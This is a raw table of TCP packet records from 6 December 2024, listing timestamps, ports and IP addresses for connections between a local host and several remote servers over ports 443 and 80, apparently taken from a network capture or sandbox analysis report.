Dec 6, 2024 18:45:42.923132896 CET	443	49793	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:42.923353910 CET	443	49794	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:42.923674107 CET	49794	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:42.923698902 CET	443	49794	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:42.924139977 CET	49794	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:42.924144983 CET	443	49794	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:43.143034935 CET	443	49795	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:43.143606901 CET	49795	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:43.143619061 CET	443	49795	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:43.144397974 CET	49795	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:43.144402027 CET	443	49795	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:43.310844898 CET	443	49791	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:43.310913086 CET	443	49791	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:43.310966015 CET	49791	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:43.311229944 CET	49791	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:43.311229944 CET	49791	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:43.311248064 CET	443	49791	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:43.311255932 CET	443	49791	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:43.314537048 CET	49801	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:43.314601898 CET	443	49801	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:43.314666033 CET	49801	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:43.315149069 CET	49801	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:43.315167904 CET	443	49801	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:43.326967955 CET	443	49792	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:43.327048063 CET	443	49792	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:43.327095032 CET	49792	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:43.327224970 CET	49792	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:43.327249050 CET	443	49792	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:43.327261925 CET	49792	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:43.327267885 CET	443	49792	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:43.329710960 CET	49802	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:43.329761982 CET	443	49802	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:43.329830885 CET	49802	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:43.329986095 CET	49802	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:43.329997063 CET	443	49802	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:43.367917061 CET	443	49794	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:43.367981911 CET	443	49794	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:43.368134975 CET	49794	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:43.368316889 CET	49794	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:43.368318081 CET	49794	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:43.368336916 CET	443	49794	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:43.368345022 CET	443	49794	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:43.370882988 CET	49803	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:43.370929003 CET	443	49803	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:43.372337103 CET	49803	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:43.372337103 CET	49803	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:43.372383118 CET	443	49803	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:43.375968933 CET	443	49793	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:43.376043081 CET	443	49793	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:43.376214981 CET	49793	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:43.376214981 CET	49793	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:43.376261950 CET	49793	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:43.376269102 CET	443	49793	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:43.380145073 CET	49804	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:43.380167961 CET	443	49804	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:43.384368896 CET	49804	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:43.384704113 CET	49804	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:43.384715080 CET	443	49804	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:43.589651108 CET	443	49795	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:43.589721918 CET	443	49795	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:43.589838982 CET	49795	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:43.590046883 CET	49795	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:43.590046883 CET	49795	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:43.590065002 CET	443	49795	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:43.590075970 CET	443	49795	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:43.594661951 CET	49805	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:43.594691038 CET	443	49805	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:43.594928026 CET	49805	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:43.595036983 CET	49805	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:43.595046043 CET	443	49805	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:43.641150951 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:43.641279936 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:44.028000116 CET	443	49797	20.198.118.190	192.168.2.6
Dec 6, 2024 18:45:44.028079987 CET	49797	443	192.168.2.6	20.198.118.190
Dec 6, 2024 18:45:44.034445047 CET	49797	443	192.168.2.6	20.198.118.190
Dec 6, 2024 18:45:44.034454107 CET	443	49797	20.198.118.190	192.168.2.6
Dec 6, 2024 18:45:44.035413027 CET	443	49797	20.198.118.190	192.168.2.6
Dec 6, 2024 18:45:44.043432951 CET	49797	443	192.168.2.6	20.198.118.190
Dec 6, 2024 18:45:44.043432951 CET	49797	443	192.168.2.6	20.198.118.190
Dec 6, 2024 18:45:44.043452024 CET	443	49797	20.198.118.190	192.168.2.6
Dec 6, 2024 18:45:44.044148922 CET	49797	443	192.168.2.6	20.198.118.190
Dec 6, 2024 18:45:44.059420109 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:44.091332912 CET	443	49797	20.198.118.190	192.168.2.6
Dec 6, 2024 18:45:44.179116011 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:44.340513945 CET	443	49798	20.223.35.26	192.168.2.6
Dec 6, 2024 18:45:44.340513945 CET	443	49799	20.223.35.26	192.168.2.6
Dec 6, 2024 18:45:44.340615034 CET	49799	443	192.168.2.6	20.223.35.26
Dec 6, 2024 18:45:44.340615988 CET	49798	443	192.168.2.6	20.223.35.26
Dec 6, 2024 18:45:44.341561079 CET	443	49800	20.223.35.26	192.168.2.6
Dec 6, 2024 18:45:44.341630936 CET	49800	443	192.168.2.6	20.223.35.26
Dec 6, 2024 18:45:44.348257065 CET	49799	443	192.168.2.6	20.223.35.26
Dec 6, 2024 18:45:44.348268986 CET	443	49799	20.223.35.26	192.168.2.6
Dec 6, 2024 18:45:44.348553896 CET	443	49799	20.223.35.26	192.168.2.6
Dec 6, 2024 18:45:44.348601103 CET	49799	443	192.168.2.6	20.223.35.26
Dec 6, 2024 18:45:44.356435061 CET	49799	443	192.168.2.6	20.223.35.26
Dec 6, 2024 18:45:44.356483936 CET	443	49799	20.223.35.26	192.168.2.6
Dec 6, 2024 18:45:44.451880932 CET	49800	443	192.168.2.6	20.223.35.26
Dec 6, 2024 18:45:44.451901913 CET	443	49800	20.223.35.26	192.168.2.6
Dec 6, 2024 18:45:44.452260971 CET	49800	443	192.168.2.6	20.223.35.26
Dec 6, 2024 18:45:44.452266932 CET	443	49800	20.223.35.26	192.168.2.6
Dec 6, 2024 18:45:44.452312946 CET	49800	443	192.168.2.6	20.223.35.26
Dec 6, 2024 18:45:44.452356100 CET	443	49800	20.223.35.26	192.168.2.6
Dec 6, 2024 18:45:44.476828098 CET	49798	443	192.168.2.6	20.223.35.26
Dec 6, 2024 18:45:44.476844072 CET	443	49798	20.223.35.26	192.168.2.6
Dec 6, 2024 18:45:44.477231026 CET	443	49798	20.223.35.26	192.168.2.6
Dec 6, 2024 18:45:44.477293968 CET	49798	443	192.168.2.6	20.223.35.26
Dec 6, 2024 18:45:44.484896898 CET	49798	443	192.168.2.6	20.223.35.26
Dec 6, 2024 18:45:44.484946966 CET	443	49798	20.223.35.26	192.168.2.6
Dec 6, 2024 18:45:44.509309053 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:44.509371042 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:44.509385109 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:44.509449959 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:44.509494066 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:44.509506941 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:44.509520054 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:44.509526014 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:44.509533882 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:44.509535074 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:44.509566069 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:44.509579897 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:44.509699106 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:44.509711027 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:44.509727001 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:44.509736061 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:44.509749889 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:44.509763956 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:44.518173933 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:44.518307924 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:44.630354881 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:44.630425930 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:44.694468021 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:44.694533110 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:44.694602013 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:44.694638014 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:44.698601007 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:44.698659897 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:44.698776960 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:44.698941946 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:44.707014084 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:44.707025051 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:44.707098961 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:44.709115982 CET	443	49797	20.198.118.190	192.168.2.6
Dec 6, 2024 18:45:44.709256887 CET	443	49797	20.198.118.190	192.168.2.6
Dec 6, 2024 18:45:44.709315062 CET	49797	443	192.168.2.6	20.198.118.190
Dec 6, 2024 18:45:44.715183020 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:44.715194941 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:44.715250015 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:44.723306894 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:44.723378897 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:44.723478079 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:44.723522902 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:44.731307983 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:44.731353998 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:44.731618881 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:44.731658936 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:44.734565973 CET	49797	443	192.168.2.6	20.198.118.190
Dec 6, 2024 18:45:44.734600067 CET	443	49797	20.198.118.190	192.168.2.6
Dec 6, 2024 18:45:44.741004944 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:44.741019011 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:44.741055965 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:44.741072893 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:44.747873068 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:44.747932911 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:44.748188019 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:44.748231888 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:44.756197929 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:44.756269932 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:44.756376028 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:44.756412029 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:44.764491081 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:44.764503956 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:44.764561892 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:44.772631884 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:44.772696972 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:44.772768974 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:44.772808075 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:44.780297041 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:44.780375004 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:44.845382929 CET	443	49800	20.223.35.26	192.168.2.6
Dec 6, 2024 18:45:44.845407009 CET	443	49800	20.223.35.26	192.168.2.6
Dec 6, 2024 18:45:44.845468044 CET	49800	443	192.168.2.6	20.223.35.26
Dec 6, 2024 18:45:44.845482111 CET	443	49800	20.223.35.26	192.168.2.6
Dec 6, 2024 18:45:44.845494032 CET	49800	443	192.168.2.6	20.223.35.26
Dec 6, 2024 18:45:44.845495939 CET	443	49800	20.223.35.26	192.168.2.6
Dec 6, 2024 18:45:44.845537901 CET	49800	443	192.168.2.6	20.223.35.26
Dec 6, 2024 18:45:44.886584044 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:44.886667013 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:44.886745930 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:44.888159037 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:44.890429974 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:44.890482903 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:44.890523911 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:44.890568972 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:44.898195028 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:44.898248911 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:44.898260117 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:44.898303986 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:44.905901909 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:44.905976057 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:44.906009912 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:44.906049967 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:44.913639069 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:44.913650990 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:44.913701057 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:44.913717031 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:44.918128967 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:44.918225050 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:44.918262005 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:44.918307066 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:44.922631025 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:44.922713041 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:44.922760010 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:44.922805071 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:44.927171946 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:44.927241087 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:44.927253008 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:44.927293062 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:44.931757927 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:44.931832075 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:44.931833029 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:44.931876898 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:44.936326027 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:44.936393023 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:44.936422110 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:44.936466932 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:44.940800905 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:44.940869093 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:44.940906048 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:44.940949917 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:44.945363045 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:44.945430994 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:44.945513010 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:44.945579052 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:44.949934006 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:44.950009108 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:44.950037003 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:44.950077057 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:44.954483032 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:44.954531908 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:44.954566956 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:44.954605103 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:44.959045887 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:44.959089994 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:44.959157944 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:44.959197998 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:44.963607073 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:44.963661909 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:44.963682890 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:44.963717937 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:44.968094110 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:44.968141079 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:44.968194008 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:44.968230963 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:44.972641945 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:44.972683907 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:44.972743988 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:44.972784042 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:44.977320910 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:44.977364063 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:44.977386951 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:44.977420092 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:44.981781006 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:44.981827974 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:44.981851101 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:44.981884956 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:44.993170977 CET	443	49798	20.223.35.26	192.168.2.6
Dec 6, 2024 18:45:44.993191957 CET	443	49798	20.223.35.26	192.168.2.6
Dec 6, 2024 18:45:44.993230104 CET	49798	443	192.168.2.6	20.223.35.26
Dec 6, 2024 18:45:44.993244886 CET	443	49798	20.223.35.26	192.168.2.6
Dec 6, 2024 18:45:44.993257999 CET	49798	443	192.168.2.6	20.223.35.26
Dec 6, 2024 18:45:44.993263960 CET	443	49798	20.223.35.26	192.168.2.6
Dec 6, 2024 18:45:44.993288994 CET	49798	443	192.168.2.6	20.223.35.26
Dec 6, 2024 18:45:44.993319035 CET	49798	443	192.168.2.6	20.223.35.26
Dec 6, 2024 18:45:45.006591082 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.006623983 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.006649971 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.006675959 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.049129009 CET	443	49799	20.223.35.26	192.168.2.6
Dec 6, 2024 18:45:45.049165964 CET	443	49799	20.223.35.26	192.168.2.6
Dec 6, 2024 18:45:45.049182892 CET	443	49799	20.223.35.26	192.168.2.6
Dec 6, 2024 18:45:45.049240112 CET	49799	443	192.168.2.6	20.223.35.26
Dec 6, 2024 18:45:45.049276114 CET	49799	443	192.168.2.6	20.223.35.26
Dec 6, 2024 18:45:45.049288034 CET	443	49799	20.223.35.26	192.168.2.6
Dec 6, 2024 18:45:45.049345970 CET	49799	443	192.168.2.6	20.223.35.26
Dec 6, 2024 18:45:45.054259062 CET	49798	443	192.168.2.6	20.223.35.26
Dec 6, 2024 18:45:45.054280996 CET	443	49798	20.223.35.26	192.168.2.6
Dec 6, 2024 18:45:45.063939095 CET	49800	443	192.168.2.6	20.223.35.26
Dec 6, 2024 18:45:45.063957930 CET	443	49800	20.223.35.26	192.168.2.6
Dec 6, 2024 18:45:45.073190928 CET	443	49801	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:45.073760986 CET	49801	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:45.073797941 CET	443	49801	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:45.074193001 CET	49801	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:45.074198961 CET	443	49801	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:45.074455976 CET	443	49802	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:45.074732065 CET	49802	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:45.074774981 CET	443	49802	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:45.075087070 CET	49802	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:45.075098038 CET	443	49802	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:45.078787088 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.078836918 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.078860044 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.078885078 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.081011057 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.081059933 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.081083059 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.081121922 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.086752892 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.086811066 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.088090897 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.088140011 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.088203907 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.088239908 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.092530966 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.092545033 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.092578888 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.092598915 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.096805096 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.096818924 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.096856117 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.096869946 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.100698948 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.100742102 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.100877047 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.100928068 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.103339911 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.103393078 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.103488922 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.103532076 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.107227087 CET	443	49803	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:45.107387066 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.107436895 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.107502937 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.107552052 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.107656956 CET	49803	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:45.107671022 CET	443	49803	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:45.108174086 CET	49803	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:45.108179092 CET	443	49803	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:45.110724926 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.110769033 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.110805035 CET	80	49796	185.215.113.206	192.168.2.6
